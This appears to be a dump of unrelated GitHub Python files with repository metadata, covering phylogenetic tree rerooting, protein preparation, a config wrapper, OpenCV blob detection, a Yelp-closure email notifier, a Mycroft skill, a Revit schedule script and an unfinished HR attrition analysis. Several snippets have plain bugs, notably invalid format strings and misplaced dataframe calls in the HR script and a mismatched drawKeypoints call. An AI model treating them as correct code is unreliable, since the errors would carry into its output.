outgroup_in_tree.add(n.taxon)\n else:\n ingroup_in_tree.add(n)\n\n if len(outgroup_in_tree) == 0:\n self.logger.warning('No outgroup taxa identified in the tree.')\n self.logger.warning('Tree was not rerooted.')\n sys.exit(0)\n\n # There is a complication here. We wish to find the MRCA of the outgroup\n # taxa. Finding the MRCA requires a rooted tree and we have no gaurantee\n # that the tree isn't currently rooted within the outgroup clade. There is\n # also no way to identify a node that is gauranteed to be outside the outgroup\n # clade. As such, the tree is randomly rooted on a leaf node not in the outgroup.\n # This random rerooting is performed until the MRCA does not spans all taxa in\n # the tree.\n\n leaves_in_tree = sum([1 for _ in new_tree.leaf_node_iter()])\n while True:\n rnd_ingroup_leaf = random.sample(ingroup_in_tree, 1)[0]\n new_tree.reroot_at_edge(rnd_ingroup_leaf.edge,\n length1=0.5 * rnd_ingroup_leaf.edge_length,\n length2=0.5 * rnd_ingroup_leaf.edge_length)\n\n mrca = new_tree.mrca(taxa=outgroup_in_tree)\n leaves_in_mrca = sum([1 for _ in mrca.leaf_iter()])\n if leaves_in_mrca != leaves_in_tree:\n break\n\n if leaves_in_mrca == leaves_in_tree:\n self.logger.error('The MRCA spans all taxa in the tree.')\n self.logger.error(\n 'This indicating the selected outgroup is likely polyphyletic in the current tree.')\n self.logger.error(\n 'This should never occur. Please report this as a bug.')\n sys.exit(-1)\n\n if mrca.edge_length is None:\n # self.logger.info('Tree appears to already be rooted on this outgroup.')\n pass\n else:\n new_tree.reroot_at_edge(mrca.edge,\n length1=0.5 * mrca.edge_length,\n length2=0.5 * mrca.edge_length)\n\n return new_tree\n\n def _get_fastani_genome_path(self, fastani_verification, genomes):\n \"\"\"Generates a queue of comparisons to be made and the paths to\n the corresponding genome id.\"\"\"\n dict_compare, dict_paths = dict(), dict()\n\n for qry_node, qry_dict in fastani_verification.items():\n user_label = qry_node.taxon.label\n dict_paths[user_label] = genomes[user_label]\n dict_compare[user_label] = set()\n for node in qry_dict.get('potential_g'):\n leafnode = node[0]\n shortleaf = leafnode.taxon.label\n if leafnode.taxon.label.startswith('GB_') or leafnode.taxon.label.startswith('RS_'):\n shortleaf = leafnode.taxon.label[3:]\n ref_path = os.path.join(\n Config.FASTANI_GENOMES, shortleaf + Config.FASTANI_GENOMES_EXT)\n if not os.path.isfile(ref_path):\n raise GTDBTkExit(f'Reference genome missing from FastANI database: {ref_path}')\n\n dict_compare[user_label].add(shortleaf)\n dict_paths[shortleaf] = ref_path\n\n return dict_compare, dict_paths\n","repo_name":"jianshu93/GTDB_Tk","sub_path":"gtdbtk/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":74011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"10164828057","text":"import abc\nfrom pathlib import Path\nfrom typing import Literal, Optional\n\nimport yaml\nfrom asapdiscovery.data.openeye import oechem\nfrom asapdiscovery.data.utils import seqres_to_res_list\nfrom asapdiscovery.modeling.modeling import (\n make_design_unit,\n mutate_residues,\n spruce_protein,\n superpose_molecule,\n)\nfrom pydantic import BaseModel, Field, root_validator\n\n\nclass ProteinPrepperBase(BaseModel):\n \"\"\"\n Base class for protein preppers.\n \"\"\"\n\n prepper_type: Literal[\"ProteinPrepperBase\"] = Field(\n \"ProteinPrepperBase\", description=\"The type of prepper to use\"\n )\n\n class Config:\n arbitrary_types_allowed = True\n\n @abc.abstractmethod\n def _prep(self, *args, **kwargs) -> oechem.OEDesignUnit:\n ...\n\n def prep(self, *args, **kwargs) -> oechem.OEDesignUnit:\n return self._prep(*args, **kwargs)\n\n @abc.abstractmethod\n def provenance(self) -> dict[str, str]:\n ...\n\n\nclass ProteinPrepper(ProteinPrepperBase):\n \"\"\"\n Protein prepper class that uses OESpruce to prepare a protein for docking.\n \"\"\"\n\n prepper_type: Literal[\"ProteinPrepper\"] = Field(\n \"ProteinPrepper\", description=\"The type of prepper to use\"\n )\n\n align: Optional[oechem.OEMol] = Field(\n None, description=\"Reference structure to align to.\"\n )\n ref_chain: Optional[str] = Field(\n None, description=\"Reference chain ID to align to.\"\n )\n active_site_chain: Optional[str] = Field(\n None, description=\"Chain ID to align to reference.\"\n )\n seqres_yaml: Optional[Path] = Field(\n None, description=\"Path to seqres yaml to mutate to.\"\n )\n loop_db: Optional[Path] = Field(\n None, description=\"Path to loop database to use for prepping\"\n )\n oe_active_site_residue: Optional[str] = Field(\n None, description=\"OE formatted string of active site residue to use\"\n )\n\n @root_validator\n @classmethod\n def _check_align_and_chain_info(cls, values):\n \"\"\"\n Check that align and chain info is provided correctly.\n \"\"\"\n align = values.get(\"align\")\n ref_chain = values.get(\"ref_chain\")\n active_site_chain = values.get(\"active_site_chain\")\n if align and not ref_chain:\n raise ValueError(\"Must provide ref_chain if align is provided\")\n if align and not active_site_chain:\n raise ValueError(\"Must provide active_site_chain if align is provided\")\n return values\n\n def _prep(self, prot: oechem.OEMol) -> oechem.OEDesignUnit:\n \"\"\"\n Prepares a protein for docking using OESpruce.\n \"\"\"\n # align\n if self.align:\n prot, _ = superpose_molecule(\n self.align, prot, self.ref_chain, self.active_site_chain\n )\n\n # mutate residues\n if self.seqres_yaml:\n with open(self.seqres_yaml) as f:\n seqres_dict = yaml.safe_load(f)\n seqres = seqres_dict[\"SEQRES\"]\n res_list = seqres_to_res_list(seqres)\n prot = mutate_residues(prot, res_list, place_h=True)\n protein_sequence = \" \".join(res_list)\n else:\n seqres = None\n protein_sequence = None\n\n # spruce protein\n success, spruce_error_message, spruced = spruce_protein(\n initial_prot=prot,\n protein_sequence=protein_sequence,\n loop_db=str(self.loop_db),\n )\n\n if not success:\n raise ValueError(f\"Prep failed, with error message: {spruce_error_message}\")\n\n success, du = make_design_unit(\n spruced,\n site_residue=self.oe_active_site_residue,\n protein_sequence=protein_sequence,\n )\n if not success:\n raise ValueError(\"Failed to make design unit.\")\n\n return du\n\n def provenance(self) -> dict[str, str]:\n return {\n \"prepper_type\": self.prepper_type,\n \"oechem\": oechem.OEChemGetVersion(),\n \"oespruce\": oechem.OESpruceGetVersion(),\n }\n","repo_name":"choderalab/asapdiscovery","sub_path":"asapdiscovery-modeling/asapdiscovery/modeling/protein_prep_v2.py","file_name":"protein_prep_v2.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"53"}
+{"seq_id":"16490271667","text":"from configparser import (\n ConfigParser,\n)\n\n\nclass ProjectConfig:\n \"\"\"\n Обертка над парсером параметров конфигурации\n \"\"\"\n\n def __init__(self, filenames=None, defaults=None):\n self.parser = ConfigParser()\n\n if filenames:\n self.parser.read(filenames)\n\n self.defaults = defaults or {}\n\n def read(self, filenames):\n \"\"\"\n Загружает конфигурацию из файла(ов) filenames\n \"\"\"\n self.parser = ConfigParser()\n self.parser.read(filenames)\n\n def set_defaults(self, defaults):\n \"\"\"\n Устанавливает параметры проекта по умолчанию\n \"\"\"\n self.defaults = defaults\n\n def items(self, section):\n \"\"\"\n Возвращает список кортежей (key, value) из указанной секции.\n В случае, если такой секции нет, то возвращается пустой список.\n \"\"\"\n if self.parser.has_section(section):\n result = self.parser.items(section)\n else:\n result = []\n\n return result\n\n def get(self, section, option):\n \"\"\"\n Безопастно возвращает значение конфигурационного параметра option\n из раздела section\n \"\"\"\n if self.parser.has_section(section) and self.parser.has_option(section, option):\n value = self.parser.get(section, option).strip()\n\n if value:\n result = value\n else:\n result = self.defaults[(section, option)]\n\n elif (section, option) in self.defaults:\n result = self.defaults[(section, option)]\n else:\n result = ''\n\n return result\n\n def get_bool(self, section, option):\n \"\"\"\n Безопастно возвращает булево из конфига\n \"\"\"\n value = self.get(section, option)\n\n if isinstance(value, str):\n value = value.upper() == 'TRUE'\n\n return bool(value)\n\n def get_int(self, section, option):\n \"\"\"\n Безопасно возвращает целое число из конфига\n \"\"\"\n value = self.get(section, option)\n\n if isinstance(value, str):\n try:\n value = int(value)\n except ValueError:\n value = 0\n\n return value\n\n def get_uint(self, section, option):\n \"\"\"\n Безопасно возвращает положительное целое число из конфига\n \"\"\"\n value = self.get_int(section, option)\n\n if value < 0:\n value = 0\n\n return value\n\n def get_list(self, section, option):\n \"\"\"\n Возвращает список объектов из строки\n \"\"\"\n raw_str = self.get(section, option)\n if raw_str:\n result = [x.strip() for x in raw_str.split(',')]\n else:\n result = []\n\n return result\n\n","repo_name":"sandanilenko/peerocks","sub_path":"peerocks/peerocks/apps/utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74696380646","text":"#!/usr/local/bin/python\n\nimport cv2\nimport numpy as np;\n\ndef drawKeypoints(vis,keypoints,foo,color = (0,255,255)):\n for k in keypoints:\n x, y = k.pt\n cv2.circle(vis, (int(x), int(y)), 2, color)\n# Read image\nim = cv2.imread(\"blob.jpg\", cv2.IMREAD_GRAYSCALE)\n \n# Set up the detector with default parameters.\ndetector = cv2.SimpleBlobDetector()\n \n# Detect blobs.\nkeypoints = detector.detect(im)\n \n# Draw detected blobs as red circles.\n# cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS ensures the size of the circle corresponds to the size of blob\nim_with_keypoints = drawKeypoints(im, keypoints, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n \n# Show keypoints\ncv2.imshow(\"Keypoints\", im_with_keypoints)\ncv2.waitKey(0)","repo_name":"jarulsamy/HackCamera","sub_path":"OpenCVTest.py","file_name":"OpenCVTest.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"73362015848","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\n\nfrom requests_html import HTMLSession\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\n\nfrom yelp_collection_parser import get_all_yelp_place_urls\n\nyelp_urls = get_all_yelp_place_urls()\n\n# get open / closed statuses from yelp\nsession = HTMLSession()\nis_closed = {}\nfor url in yelp_urls:\n print(f'* fetching {url}', flush=True)\n response = session.get(url)\n if not response.ok:\n print(\"bad response\")\n sys.exit(1)\n title = response.html.find(\"title\", first=True)\n if title and title.text:\n is_closed[url] = \"CLOSED\" in title.text\n else:\n is_closed[url] = False\n print('warning: unknown if closed', url)\n\n# summarize results\nclosed_urls = [k for (k, v) in is_closed.items() if v]\nclosed_count = len(closed_urls)\nopen_count = len(is_closed) - closed_count\ntotal_count = len(is_closed)\nclosed_urls_str = \"\\n- \".join(closed_urls)\nsummary = \"\"\"\nClosed Count: {}\nOpen Count: {}\nTotal Count: {}\n\nClosed URLs:\n- {}\n\"\"\".format(\n closed_count, open_count, total_count, closed_urls_str\n).strip()\n\nprint(\"* summary:\")\nprint(summary)\n\n# send email\nif closed_count > 0:\n print(\"* sending email\")\n\n message = Mail(\n from_email=os.environ[\"EMAIL_SENDER\"],\n to_emails=os.environ[\"EMAIL_RECIPIENT\"],\n subject=\"QCBrunch Notification - Yelp Closed Detector Changed\",\n plain_text_content=summary,\n )\n\n sendgrid = SendGridAPIClient(os.environ[\"SENDGRID_API_KEY\"])\n response = sendgrid.send(message)\n print(response.status_code)\n print(response.body)\n print(response.headers)\n\n print(\"* email sent\")\n","repo_name":"tedmiston/qcbrunch","sub_path":"docker/yelp-closed-detector/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"44979157720","text":"def int_check(question, low=0, high=10000):\r\n\r\n situation = \"\"\r\n\r\n if low is not 0 and high is not 10000:\r\n situation = \"both\"\r\n elif low is not 0 and high is 10000:\r\n situation = \"low only\"\r\n\r\n while True:\r\n\r\n try:\r\n response = int(input(question))\r\n\r\n # checks input is not too high or too low if a both upper and lower bounds are specified\r\n if situation == \"both\":\r\n if response < low or response > high:\r\n print(\"Please enter a valid integer\".format(low, high))\r\n continue\r\n # checks input is not too low\r\n elif situation == \"low only\":\r\n if response < low:\r\n print(\"Please enter a valid integer\".format(low))\r\n continue\r\n return response\r\n\r\n # checks input is a integer \r\n except ValueError:\r\n print(\"Please enter an integer\")\r\n continue","repo_name":"buchanj0167/Math_Quiz","sub_path":"07_intiger_checker copy.py","file_name":"07_intiger_checker copy.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71517698727","text":"from mycroft import MycroftSkill, intent_handler\nfrom adapt.intent import IntentBuilder\n\nimport os\n\nclass Judgealexa(MycroftSkill):\n def __init__(self):\n MycroftSkill.__init__(self)\n self.scoreFile = \"./scoreFile.txt\"\n if not os.path.exists(self.scoreFile):\n self.log.info(\"scoreFile created\")\n self.setScore(1000)\n\n def getScore(self):\n scoreFile = open(self.scoreFile, \"r\")\n points = int(scoreFile.read())\n scoreFile.close()\n return points\n\n def setScore(self, points):\n scoreFile = open(self.scoreFile, \"w+\")\n scoreFile.write(str(points))\n scoreFile.close()\n\n\n @intent_handler(IntentBuilder('insult').require('Insults'))\n def handle_insult(self, message):\n self.log.info(\"insult recognized\")\n points = self.getScore()\n points = points - 5\n self.log.info(f\"updating score : {points + 5} --> {points} \")\n self.setScore(points)\n self.speak(f\"Are you insulting me?\")\n\ndef create_skill():\n return Judgealexa()\n\n","repo_name":"LeonHermann322/judgealexa-skill","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6696559952","text":"# Import required libraries\nimport clr\n\nclr.AddReference('RevitAPI')\nfrom Autodesk.Revit.DB import *\n\nclr.AddReference('RevitServices')\nfrom RevitServices.Persistence import DocumentManager\nfrom RevitServices.Transactions import TransactionManager\n\n# Function to rename field titles\ndef rename_field(schedule_definition, field_ids, old_name, new_name):\n field = schedule_definition.GetField(field_ids[old_name].IntegerValue)\n field.ColumnHeading = new_name\n\n# Get the current document\ndoc = DocumentManager.Instance.CurrentDBDocument\n\n# Start a transaction\nTransactionManager.Instance.EnsureInTransaction(doc)\n\n# Access the MEP Fabrication Pipework category\ncategoryId = Category.GetCategory(doc, BuiltInCategory.OST_FabricationPipework).Id\n\n# Create a new schedule for MEP Fabrication Pipework\nschedule = ViewSchedule.CreateSchedule(doc, categoryId)\n\n# Rename the schedule's view name to the desired assembly name\nschedule.Name = \"NSB-P4-SUBS5-STM-55\"\n\n# Get ScheduleDefinition from ViewSchedule\nscheduleDef = schedule.Definition\n\n# Get all possible SchedulableFields\nschedulableFields = scheduleDef.GetSchedulableFields()\n\n# List of desired field names\nfields = [\"Assembly Name\", \"Item Number\", \"Family\", \"Size\", \"Count\", \"Length\", \"MN-FP_Connector 1\", \"MN-FP_Connector 2\"]\n\n# Create a dictionary for quick lookup of SchedulableFields by their name\nfields_dict = {sf.GetName(doc): sf for sf in schedulableFields}\n\n# A dictionary to store added fields' IDs\nfield_ids = {}\n\n# Add fields to the schedule based on the order in the 'fields' list\nfor field_name in fields:\n if field_name in fields_dict:\n field = scheduleDef.AddField(fields_dict[field_name])\n field_ids[field_name] = field.FieldId\n\n# Sorting setup using the field IDs\nsortItemNumber = ScheduleSortGroupField(field_ids[\"Item Number\"], ScheduleSortOrder.Ascending)\nsortFamily = ScheduleSortGroupField(field_ids[\"Family\"], ScheduleSortOrder.Ascending)\n\n# Add the sorting criteria to the schedule\nscheduleDef.AddSortGroupField(sortItemNumber)\nscheduleDef.AddSortGroupField(sortFamily)\n\n# Rename the necessary fields\nrename_field(scheduleDef, field_ids, \"Family\", \"Description\")\nrename_field(scheduleDef, field_ids, \"Count\", \"Qty\")\nrename_field(scheduleDef, field_ids, \"Length\", \"Length (mm)\")\nrename_field(scheduleDef, field_ids, \"MN-FP_Connector 1\", \"End Prep 1\")\nrename_field(scheduleDef, field_ids, \"MN-FP_Connector 2\", \"End Prep 2\")\n\n# Add filter for the Assembly Name\nfilter = ScheduleFilter(field_ids[\"Assembly Name\"], ScheduleFilterType.Equal, \"NSB-P4-SUBS5-STM-55\")\nscheduleDef.AddFilter(filter)\n\n# Close the transaction\nTransactionManager.Instance.TransactionTaskDone()\n\nOUT = schedule\n","repo_name":"PkHeris/Dynamo_python","sub_path":"python scripts/Make_Schedule.py","file_name":"Make_Schedule.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34559162959","text":"from django.db import models\n\nfrom wordcloud import WordCloud, STOPWORDS\nimport matplotlib.pyplot as plt\nimport io\nimport urllib, base64\nimport base64\nfrom io import BytesIO\n\n# Create your models here.\n\n\nclass WordCount(models.Model):\n word = models.CharField(max_length=100)\n count = models.IntegerField(default=0)\n\n @classmethod\n def get_word_cloud_image(cls):\n all_objs = cls.objects.all()\n word_count_dict = {obj.word: obj.count for obj in all_objs}\n\n wc_class = WordCloud(background_color='white',\n stopwords=STOPWORDS,\n width=1200,\n height=600,\n colormap=\"Set2\")\n wc = wc_class.generate_from_frequencies(word_count_dict)\n\n wc_image = wc.to_image()\n\n # Saving to string and encoding\n output = BytesIO()\n wc_image.save(output, format='PNG')\n output.seek(0)\n output_s = output.read()\n b64 = base64.b64encode(output_s)\n return b64\n\n # plt.imshow(wc, interpolation='bilinear')\n # plt.axis(\"off\")\n #\n # # https://stackoverflow.com/questions/5314707/matplotlib-store-image-in-variable/45099838#45099838\n # fig = plt.gcf()\n #\n # buf = io.BytesIO()\n # fig.savefig(buf, format='png')\n # buf.seek(0)\n # string = base64.b64encode(buf.read())\n\n return string\n\n\n","repo_name":"makalaaneesh/hapPy","sub_path":"happyweb/tweet_analytics/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"43241248252","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis file was made in Spyder Editor\n\nCreated on Sat Mar 17 23:31:45 2019\n\n@author: jevon\n\"\"\"\n# Template built using https://towardsdatascience.com/building-an-employee-churn-model-in-python-to-develop-a-strategic-retention-plan-57d5bd882c2d?gi=a875e936cad7\n\n# GitHub repo: https://github.com/hamzaben86/Employee-Churn-Predictive-Model\n\n#Note: Just a skeleton and therefore missing sections.\n#Can be updated later.\n\n#This is a supervised classification problem.\n\nimport numpy as np\nfrom openpyxl import load_workbook\nfrom scipy import stats\nfrom scipy.stats import norm, skew\nimport statsmodels.api as sm\nimport pandas as pd\nfrom pandas.plotting import scatter_matrix\nfrom pandas import ExcelWriter\nfrom pandas import ExcelFile\n\n#data visualisation\nimport seaborn as sns\nfrom matplotlib import pyplot\nimport matplotlib.pyplot as plt\nimport matplotlib.pylab as pylab\nimport matplotlib \n# % matplotlib inline\ncolor = sns.color_palette()\nfrom IPython.display import display\npd.options.display.max_columns = None\n\n#plotly\nimport plotly\nimport plotly.plotly as py\nimport plotly.figure_factory as ff\nimport plotly.graph_objs as go\nfrom plotly.offline import iplot, init_notebook_mode\n\n#plotly offline\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\nimport cufflinks as cf #Need to research this.\ncf.set_config_file(offline=True)\nimport cufflinks\ncufflinks.go_offline(connected=True)\ninit_notebook_mode(connected=True)\n\n#Preprocessing\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\n\n#ML model selection\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\n\n#data modeling\nfrom sklearn import svm, tree, linear_model, neighbors\nfrom sklearn import naive_bayes, ensemble, discriminant_analysis, gaussian_process\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom xgboost import XGBClassifier #Need to research this.\nfrom sklearn.ensemble import RandomForestClassifier\n\n#helpers\nfrom sklearn import feature_selection\nfrom sklearn import model_selection\nfrom sklearn import metrics\n\n#performance metrics\nfrom sklearn.metrics import confusion_matrix, classification_report, precision_recall_curve\nfrom sklearn.metrics import auc, roc_auc_score, roc_curve, recall_score, log_loss\nfrom sklearn.metrics import f1_score, accuracy_score, roc_auc_score, make_scorer\nfrom sklearn.metrics import average_precision_score\n\n#misc\nimport os\nimport re\nimport sys\nimport timeit\nimport string\nfrom datetime import datetime\nfrom time import time\nfrom dateutil.parser import parse\n \ndf_source = pd.read_excel('', sheet_name = 0) #add path to Excel source file\nprint(\"Shape of dataframe is: {}\".format(df_source.shape))\n\ndf_human_resources = df_source.copy()\n\ndf_human_resources.columns\n\ndf_human_resources.head()\n\ndf_human_resources.columns.to_series().groupby(df_human_resources.dtypes).groups\n\n#Datatypes and missing values\ndf_human_resources.info()\n\n#Overview of numerical features\ndf_human_resources.describe()\n\ndf_human_resources.hist(figsize=(25,25))\nplt.show()\n\n#Overview of features by attribute\n\n#Begin Age data\n(mu, sigma) = norm.fit(df_human_resources.loc[df_human_resources['Attrition'] == 'Yes', 'Age'])\nprint('Ex: average age = {:0.2f} years with standard deviation = {0.2f}' .format(mu, sigma))\n(mu, sigma) = norm.fit(df_human_resources.loc[df_human_resources['Attrition'] == 'No', 'Age'])\nprint('Current: average age = {:0.2f} years with standard deviation = {0.2f}' .format(mu, sigma))\n\nx1 = df_human_resources.loc[df_human_resources['Attrition'] == 'No', 'Age']\nx2 = df_human_resources.loc[df_human_resources['Attrition'] == 'Yes', 'Age']\n\nhist_data = [x1, x2]\ngroup_labels = ['Active', 'Inactive']\n\nfig = ff.create_distplot(hist_data, group_labels, curve_type = 'kde', show_hist = False, show_rug = False)\n\nfig['Layout'].update(title = 'Age Distritbuion by Attrition')\nfig['Layout'].update(xaxis = dict(range=[10, 60], dticks = 5))\n\npy.iplot(fig, filename = 'Distplot with Multiple Datasets')\n\n#Educational Background areas\n\ndf_human_resources['EducationField'].value_counts()\n\n\ndf_EducationField = pd.DataFrame(columns=[\"EducationField\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['EducationField'].unique()):\n ratio = (df_human_resources[(df_human_resources['EducationField']==field)&(df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources[\"EducationField\"]==field].shape[0])\n df_EducationField.loc[i] = (field, ratio*100)\n i += 1\n\ndf_EducationFieldGroup = df_EducationField.groupby(by=\"EducationField\").sum()\ndf_EducationFieldGroup.iplot(kind='bar', title='Leavers by Education field (%)')\n\n#Gender distribution\n\ndf_human_resources['Gender'].value_counts()\n\nprint(\"Normalised gender distribution of ex-employees in the dataset: Male = {:0.2f}%; Female = {:0.2f}%.\".format((df_human_resources[(df_human_resources['Attrition']==\"Yes\") & (df_human_resources['Gender'] == 'Male')].shape[0] / df_human_resources[df_human_resources['Gender']=='Male'].shape[0])*100, (df_human_resources[(df_human_resources['Attrition']==\"Yes\") & (df_human_resources['Gender'] == 'Female')].shape[0] / df_human_resources[df_human_resources['Gender']=='Female'].shape[0])*100))\n\ndf_Gender = pd.DataFrame(columns=[\"Gender\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['Gender'].unique()):\n ratio = df_human_resources[(df_human_resources['Gender']==field) & df_human_resources(['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['Gender'] == field].shape[0]\n i += 1\n\ndf_GenderGroup = df_Gender.groupby(by = \"Gender\").sum()\ndf_GenderGroup.iplot(kind = 'bar', title = 'Leavers by Gender (%)')\n\n#Marital Status\n\ndf_human_resources['MartalStatus'].value_counts()\n\ndf_MaritalStatus = pd.DataFrame(columns=[\"MaritalStatus\", \"% of Leavers\"])\ni=0\nfor field in list(df_human_resources['MaritalStatus'].unique()):\n ratio = df_human_resources[(df_human_resources['MaritalStatus']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['MaritalStatus']==field].shape[0]\n df_MaritalStatus.loc[i] = (field, ratio*100)\n i += 1\n\ndf_MaritalStatusGroup = df_MaritalStatus.groupby(by=\"MaritalStatus\").sum()\ndf_MaritalStatusGroup.iplot(kind='bar', title='Leavers by Marital Status (%)')\n\n\n\n#Distance from Home\n\nprint(\"Distance from home for employees to get to work is from {:0.2f} to {:0.2f} miles.\".format(df_human_resources['DistanceFromHome'].min(), df_human_resources['DistanceFromHome'].max()))\n\nprint('Average distance from home for currently active employees: {:0.2f} miles and ex-employees: {:0.2f} miles'.format(df_human_resources[df_human_resources['Attrition']=='No']['DistanceFromHome'].mean(), df_human_resources[df_human_resources['Attrition']=='Yes']['DistanceFromHome'].mean()))\n\nx1 = df_human_resources.loc[df_human_resources['Attrition']=='No', 'DistanceFromHome']\nx2 = df_human_resources.loc[df_human_resources['Attrition']=='Yes', 'DistanceFromHome']\n\nhist_data = [x1, x2]\ngroup_labels = ['Active Employees', 'Non-Active Amployees']\n\nfig = ff.create_distplot(hist_data, group_labels, curve_type='kde', show_hist=False, show_rug=False)\n\nfig['layout'].update(title='Distance from Home Distribution in Percent by Status')\nfig['layout'].update(xaxis=dict(range=[0,50], dtick=5))\n\npy.iplot(fig, filename='Distplot with Multiple Datasets')\n\n#Begin Department data analysis\n\ndf_human_resources['Department'].value_counts()\n\ndf_Department = pd.DataFrame(columns = [\"Department\", \"% of Leavers\"])\ni=0\nfor field in list(df_human_resources(df_human_resources['Department'].unique())):\n ratio = df_human_resources[(df_human_resources['Department']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['Department']==field].shape[0]\n df_Department.loc[i] = (field, ratio*100)\n i += 1\n\ndf_DepartmentGroup = df_human_resources['Department'].groupby(by=\"Department\").sum()\ndf_DepartmentGroup.iplot(kind='bar', title=\"Leavers by Department (%)\")\n\n#Frequency of Travel, Job Roles, Job Level, and Job Involvement\n\ndf_human_resources['BusinessTravel'].value_counts()\n\ndf_BusinessTravel = pd.DataFrame(columns=[\"BusinessTravel\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['BusinessTravel'].unique()):\n ratio = df_human_resources[(df_human_resources['BusinessTravel']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['BusinessTravel']==field].shape[0]\n df_BusinessTravel.loc[i] = (field, ratio*100)\n i += 1\n\ndf_BusinessTravel_Group = df_BusinessTravel.groupby(by=\"BusinessTravel\").sum()\ndf_BusinessTravel_Group.iplot(kind='bar', title='Leavers by Business Travel (%)')\n\ndf_human_resources['JobRole'].value_counts()\n\ndf_JobRole = pd.DataFrame(columns=[\"JobRole\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['JobRole'].unique()):\n ratio = df_human_resources[(df_human_resources['JobRole']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['JobRole']==field].shape[0]\n df_JobRole.loc[i] = (field, ratio*100)\n i += 1\n\ndf_JobRole_Group = df_JobRole.groupby(by=\"JobRole\").sum()\ndf_JobRole_Group.iplot(kind='bar', title='Leavers by Job Role (%)')\n\ndf_human_resources['JobLevel'].value_counts()\n\ndf_JobLevel = pd.DataFrame(columns=[\"JobLevel\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['JobLevel'].unique()):\n ratio = df_human_resources[(df_human_resources['JobLevel']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['JobLevel']==field].shape[0]\n df_JobLevel.loc[i] = (field, ratio*100)\n i += 1\n\ndf_JobLevel_Group = df_JobLevel.groupby(by=\"JobLevel\").sum()\ndf_JobLevel_Group.iplot(kind='bar', title='Leavers by Job Level (%)')\n\ndf_human_resources['JobInvolvement'].value_counts()\n\ndf_JobInvolvement = pd.DataFrame(columns=[\"JobInvolvement\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['JobInvolvement'].unique()):\n ratio = df_human_resources[(df_human_resources['JobInvolvement']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['JobInvolvement']==field].shape[0]\n df_JobInvolvement.loc[i] = (field, ratio*100)\n i += 1\n\ndf_JobInvolvement_Group = df_JobInvolvement.groupby(by=\"JobInvolvement\").sum()\ndf_JobInvolvement_Group.iplot(kind='bar', title='Leavers by Job Involvement (%)')\n\n#Training incidents\n\nprint(\"Number of training incidents last year varies from {:0.2f} to {:0.2f} years.\".format(df_human_resources['TrainingTimesLastYear'].min(), df_human_resources['TrainingTimesLastYear'].max()))\n\nx1 = df_human_resources.loc[df_human_resources['Attrition'] == 'No', 'TrainingTimesLastYear']\nx2 = df_human_resources.loc[df_human_resources['Attrition'] == 'Yes', 'TrainingTimesLastYear']\n\nhist_data = [x1, x2]\ngroup_labels = ['Active', 'Inactive']\n\nfig = ff.create_distplot(hist_data, group_labels, curve_type = 'kde', show_hist = False, show_rug = False)\n\nfig['Layout'].update(title = 'Distritbuion of Training Times Last Year by Attrition')\nfig['Layout'].update(xaxis = dict(range=[10, 60], dticks = 5))\n\npy.iplot(fig, filename = 'Distplot with Multiple Datasets')\n\n\n#Number of Companies worked prior\n\ndf_NumberOfCompaniesWorked = pd.DataFrame(columns=[\"NumCompaniesWorked\", \"% of Leavers\"])\ni = 0\nfor field in 